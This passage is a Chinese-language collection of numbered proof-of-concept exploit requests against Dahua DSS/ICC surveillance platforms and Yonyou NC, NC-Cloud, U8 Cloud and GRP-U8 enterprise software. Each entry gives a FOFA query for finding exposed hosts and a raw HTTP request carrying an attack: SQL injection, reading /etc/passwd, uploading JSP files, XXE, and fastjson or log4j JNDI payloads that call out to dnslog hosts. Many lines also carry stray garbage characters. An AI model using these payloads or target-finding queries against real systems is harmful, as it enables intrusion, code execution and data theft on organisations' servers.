9 t- \* s* x  EGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
* {/ G5 G% F7 n$ y# jHost: x.x.x.x
( L* O: F  ~& ?, Y9 [8 O6 u+ HUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
9 B7 d* `+ v& v- I* \7 cConnection: close
6 Y# q4 Y$ g0 D1 c' |5 t* |8 wAccept: */*
' @1 b7 D# ]5 c) U7 kAccept-Language: en
4 |& ~& X+ o  @9 h: }Accept-Encoding: gzip
* J$ |% `  ~0 T0 l( O6 r' d# N
3 H8 b, @! i# F$ Y3 `
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
9 {. s% A: C' O* GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
. L" L5 Y* V  S% r. K9 u4 E6 RAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
$ J  r% Q* P+ q, G<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
+ o* l  `  v7 [/ \  </s11:Body>
! C  O# S- l- l4 T! I  Q</s11:Envelope>


& _3 {+ h; _/ @0 R18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
. w. {. m& w) b" dFOFA：app="dahua-DSS"
/ j4 c' B  q8 S" sGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
& m* J+ h# z( ^2 e( t4 D- sHost: your-ip
) q7 u; F1 z) k/ K! {1 |& uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! m% i7 l1 q! {Accept-Encoding: gzip, deflate
: @: f" [( N  t/ m7 }9 nAccept: */*
* [1 A" B% G2 t+ s: @Connection: keep-alive

$ A  C7 b/ |. ]! G. Q1 l$ y5 O
6 Q9 p, K* p' M/ B
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* |" P7 H5 J% {3 t- m4 eFOFA：app="dahua-DSS"
  i+ U. x0 N, ]GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
: H8 d  t+ A/ D; z2 ]Host:
% m3 S. a* S" H* \User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
7 G; Z6 @7 P% a& M- {* |Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
2 r, Q0 e( I. @1 U
# o( t0 w" L, Z# I9 |; f+ [4 s
20. 大华ICC智能物联综合管理平台任意文件读取
/ C3 j. |! s: f) C! z% h. JFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
. B& [% H3 v3 m7 J: U' \2 @9 U6 bHost: x.x.x.x
/ `1 A5 X3 a" K) C9 @User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: ~+ z+ h. l& O: H' p+ s# G  i9 aConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

& t) ?* K! o- x4 G, B
2 i# M4 `- \8 c8 t5 W21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
: K# M  h* @: G2 u1 ^: A7 u$ O, q% ~POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
5 P! m0 O2 ?6 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
! a/ i# H6 W+ ]% g( a" u6 AAccept-Encoding: gzip
Connection: close
* }+ ~" w$ l- l2 NContent-Type: application/json;charset=utf-8

- {) n: l7 I+ G. U7 ?( C{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
6 P5 j" N! N" O6 c- ?$ ~    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
7 J5 i$ T$ t& w' v0 v  }""
}
. e/ X5 ^1 r8 `# x8 q

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
, M7 b7 @4 [2 F2 S6 j6 sPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
4 n) S; P. ]9 EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  S' l6 S# j9 X& C- a. }Content-Type: application/json;charset=utf-8

{
+ ], `& B7 B) }' b. e' i"loginName":"${jndi:ldap://dnslog}"
}
5 g# ^, k8 U8 X; T" Z; q. i: t( L
, f0 O$ B8 \' U7 p0 G
8 s- G8 |9 W2 V0 U' p; d+ P
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
$ `9 u* {$ C9 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 {. G9 d- g. B: ~+ ^3 k$ pContent-Type: application/json;charset=utf-8
6 ~% F5 t& ~& r6 B0 B" Y! L; a$ xAccept-Encoding: gzip
# F# N0 c8 g! mConnection: close
0 |4 i' q/ A) o& G# F6 T/ V& Z2 q7 ]
{
1 X* V, f& U2 v- n    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
/ G7 `1 G$ R. C' H1 EPOST /aim/equipmap/accept.jsp HTTP/1.1
& K3 g6 c( E5 e+ j$ U. y4 p# sHost: x.x.x.x
. w9 \9 P8 b- rUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
. r; y7 a$ y9 a. E6 \+ s& IConnection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
3 B1 s* e* ^4 YContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

0 X( Y: R  `9 M  M* `0 d3 p+ D-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
5 _) U) A* I# V  ]3 x9 IContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

" J) E0 b; c0 ?/ D, C: q1 h<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
. v' V0 `, a" V) _! ]' t-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 k7 E6 }2 @$ y- J9 o5 DContent-Disposition: form-data; name="fname"

  t% h  Z0 F, R- d, d) ^1 L\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
  d1 y3 O' x' L

. x5 N" _/ I5 t0 L25. 用友NC registerServlet JNDI 远程代码执行
- ^9 Z. U4 ~! _( HFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
1 \" c3 s6 b5 \8 F5 C. CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
+ O, f% g5 C  l' [3 S3 [Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

( v0 e/ J6 @+ _! [& A; p( ttype=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
4 N. F+ z! `/ m5 @GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 |- Z% K1 [4 h: e/ J- t/ ?Host: your-ip
3 \8 j% f2 V6 t* S! V6 u1 ~  gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 Z/ t5 H1 m# a- E: n' vContent-Type: application/x-www-form-urlencoded
! B* u' Q- L, u+ _) p% b  U3 }Accept-Encoding: gzip, deflate
0 t5 W2 {! I- n  f6 M+ eAccept: */*
$ F0 S8 ~8 \2 O2 NConnection: keep-alive
- F! @1 u% D( O" P
, O4 j5 u7 R% j, k3 }, O
8 n( L9 g+ y5 C8 T4 ^5 i& L27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
+ c. P+ W9 m: U; c) [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 G+ _; v( {7 V9 b9 D4 uAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


. o, L* [5 ]9 j8 ]3 X1 _28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
& ^, U, l3 Y0 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
$ q3 F6 S9 U7 j. [2 WContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
9 B" y( x! u& f) |' L( j& K& BContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
; G) N0 ?5 [6 n3 W0 h
# j% F- w* }$ S. i<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

' D8 Y# n2 O9 M
% m0 w" j8 \1 U1 [3 H7 S/uapim/static/pages/nc/head.jsp

! r* I# g8 i, y" s7 C  n29. 用友NC down/bill SQL注入
/ d1 M* ]- l; i# f! y/ HFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 y, {3 L* Q( A7 w9 AGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
2 p+ Z! j3 ?& u" z  r% d5 iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
! Q. E6 a  s& f) y$ O$ aConnection: keep-alive

, Z  p1 g1 [  Z
0 V" G% r1 @; Y, t* g30. 用友NC importPml SQL注入
- s- F  I1 g  U8 V( z- nFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; a/ n3 F* o' r) qPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
' T2 A' f' q9 b# L" _1 l  _Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
; ^8 H. n& N% m+ i, U+ p0 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 @) H. L7 y' u; ^0 q& @% B1 qConnection: close
0 O' ]: F! S. W: l2 K+ Q5 o
------WebKitFormBoundaryH970hbttBhoCyj9V
6 @: V7 u2 v' ?Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
# I, l9 s5 E8 j0 [5 `------WebKitFormBoundaryH970hbttBhoCyj9V--

$ O" Q! f" v" x5 \# `
. i1 `: e( Z2 m: ^0 P31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ m) o% C& u, I2 U) K/ m0 |$ @  pGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 r* Z  A& ^0 SHost: host
  o' t& e6 T7 t& v2 U' EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
2 Z& t* [# Q. ]/ wContent-Type: application/x-www-form-urlencoded

' X& J  a" w4 ]9 i
1 k0 D! `; }8 V0 `/ X5 N1 T32. 用友NC complainbilldetail SQL注入
" r" E6 y# q5 g: \5 Y) B6 F5 xversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: _9 @$ e( W, C& gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* v0 G# r# E) W7 z* R6 [0 s. hContent-Type: application/x-www-form-urlencoded
* F5 v8 J+ f' j4 z$ F! Z' _Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  I$ ?: R8 E3 D/ @. |
+ r0 U% J0 W+ P7 _0 {2 Z& ?
33. 用友NC downTax/download SQL注入
2 h5 D) J! N( z' Y9 q  gversion：NC6.5FOFA：app="用友-UFIDA-NC"
3 a, ^" w! \* y$ J$ \+ `6 lGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. j+ K1 @3 i; U% |) v0 GHost: your-ip
1 J! E) t1 Z, X3 z9 L) ^2 D5 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
* u* _4 c) }3 r( _: I6 S3 vAccept: */*
4 p  X2 J: e- wConnection: keep-alive


/ Y& X+ F7 ?$ i3 {& G3 i34. 用友NC warningDetailInfo接口SQL注入
9 k7 [. R+ {! E# B  a9 {( \  ?4 YFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, u( W# P5 G" s6 y3 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 R  |3 v- M$ jAccept-Encoding: gzip, deflate
: ^) O* ]& D, v2 ]/ |  z& m' l# @Accept: */*
/ D1 R# ]! A& d5 [$ B( N, i+ KConnection: keep-alive
0 Q5 r6 [# W+ P7 X0 c* I5 U
0 x9 [8 @& w# \: C2 O+ R
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
6 h+ Z. u6 u$ m2 T, _Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
$ p/ s4 G+ z) e# hConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ T4 w5 `( x+ B4 XContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
; \8 |. a; H9 T" O5 b% I  t  E
, R  c$ d: q7 _+ J" ~--fd28cb44e829ed1c197ec3bc71748df0
8 o/ W3 m4 j+ S' V0 p  ~$ _Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

- d1 q& |; `) R. w4 ]5 q$ F: `<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

7 Y. K" V$ x8 H. N! ~7 r
) _& y( i9 W; T0 e6 k/ p36. 用友NC-Cloud soapFormat XXE
* R8 T& O; b, x( \FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
! o* V! X' d1 X$ e9 @$ zPOST /uapws/soapFormat.ajax HTTP/1.1
% X* p# P5 {  ^5 uHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
, A/ X/ o2 u  m; s$ h) S& o' Q  nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 t0 q) Z0 i, M( n7 ?Accept-Encoding: gzip, deflate
- T7 y7 p. V- Y! h" GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 C' I& g+ g$ kConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

4 D3 p$ s8 _5 p+ O5 ~5 a
37. 用友NC-Cloud IUpdateService XXE
) ], O6 Q- T: h; ?' LFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% R. f4 U0 @. [+ y3 ]2 uPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
) d( x% |2 v! m6 b1 |, @- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' ^( R8 r5 [) J* c; MAccept-Encoding: gzip, deflate
! n, }" Y4 k# s$ [( b% ?Accept-Language: zh-CN,zh;q=0.9
/ q9 L. P4 J& h( OConnection: close
5 n4 L# v1 i1 w, A* O& gContent-Type: text/xml;charset=UTF-8
% f5 J9 z7 w3 C& V* hSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

. d0 F% j2 ?1 G) e" B( A% j<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
, \, v; N- `. S  q<soapenv:Header/>
2 x2 S6 e- d0 `4 [7 H+ G# L<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
4 C1 p0 G& y3 w. L, Q3 y- r$ ]) n/ ^<xxx/>]]></iup:string>
1 K6 }' m& I7 H9 J/ F7 Z6 L0 @; ]0 a</iup:getResult>
</soapenv:Body>
6 e" S8 `; |% Q/ Z</soapenv:Envelope>
" E& ^5 \; o7 m/ J! {


38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
0 {2 V) ~+ O* O  C* B7 c* R8 MAccept-Encoding: gzip, deflate
' W5 P8 m) x* t- N# q4 lAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 C' F2 ~2 D) H8 [! ]' O. hContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

# y( K$ V- c( G2 C
! `: ?9 y. a1 ~" P2 I/ |% x39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
. H3 T* F& ^) B0 D4 V2 G6 W$ cHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
- d; v9 S  [0 W6 D, AConnection: close
Content-Length: 85
# n  H: J* h: r3 ?2 A. o( n" t1 QAccept: */*
Accept-Language: en
; b& y! ^9 e8 x2 D1 QContent-Type: application/x-www-form-urlencoded
! |* A7 j9 K' R- s  tX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

7 }" i+ Z, o# ~4 l. |& V# B7 susercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
! p; l$ [4 g# [1 c9 m
* q: w: M, S1 h% y/ A
40. 用友U8-Cloud XChangeServlet XXE
& _" C+ {1 {. n. I2 zFOFA：app="用友-U8-Cloud"
4 L9 R3 z, A( m% y8 |! G/ UPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
# {1 w- x) Q% o3 j
9 f* A0 F1 X( h8 i2 s: h<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
! I& {. X' j+ X) F9 |( v$ L  w0 W

& v% h% v# j- e2 X/ J41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
) ^& [  D7 `  B1 sFOFA：app="用友-U8-Cloud"
. U0 v  z: E1 O; N% l4 pGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
% h" p3 R% O0 CAccept-Encoding: gzip
1 S9 {* D7 H5 N0 C5 e9 @Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
7 l  c* {" K9 e1 B0 V% |% o/ i6 |! QFOFA：app="用友-GRP-U8"
3 J. r+ p9 j1 c3 nPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

+ e, h' t) n0 q
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
; e- C+ {+ f3 S" m- ]# qPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
0 _! z# ?( r0 ?6 e" q$ S" wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ k" R8 P# l3 ~/ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 N. g3 Y7 x  l( B- H: G% J" NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
$ T7 W9 [! o; f' HSOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
2 J; \; q1 u+ _/ r( z  e      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
5 {, `+ \- V0 S0 X6 Q         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
& ^, @3 q/ Z$ S* ?; ^; M, B  _9 P      </ser:getUserNameById>
   </soapenv:Body>
5 Z8 e) k7 t( H% N0 }! W</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
" x, c% m. p$ x. rHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" K3 l# x+ Y9 B4 y+ dAccept-Encoding: gzip, deflate
0 |/ Q6 t3 R! b& X5 s3 v2 wAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 C7 m2 U0 H* N7 _9 r

45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 n  z" A9 Q. F$ X& X9 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* W5 \' J+ u: D/ n0 A5 cContent-Type: application/x-www-form-urlencoded
# O9 s1 H$ x) H8 I5 t7 b! rAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

/ Y# o; ~# d2 k0 J0 p9 h$ B
  W% h# p& G, M) A0 h  a+ p9 `46. 用友GRP-U8 sqcxIndex.jsp SQL注入
' S1 L! {1 l- u! ^) s& vFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 b! z, X' {9 U7 b- hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
3 |- U* e# W  h' s7 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( {" W& w+ d0 k! V/ EAccept-Encoding: gzip, deflate
# A4 a. ]; t4 i8 v- w$ GAccept-Language: zh-CN,zh;q=0.9
Connection: close


" m3 [1 v' z: c2 Q4 [7 ^47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
  y) C2 V' ~1 v4 ?  g* ]6 GGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
. p5 t3 P+ h3 T  X, v- D( F, cHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
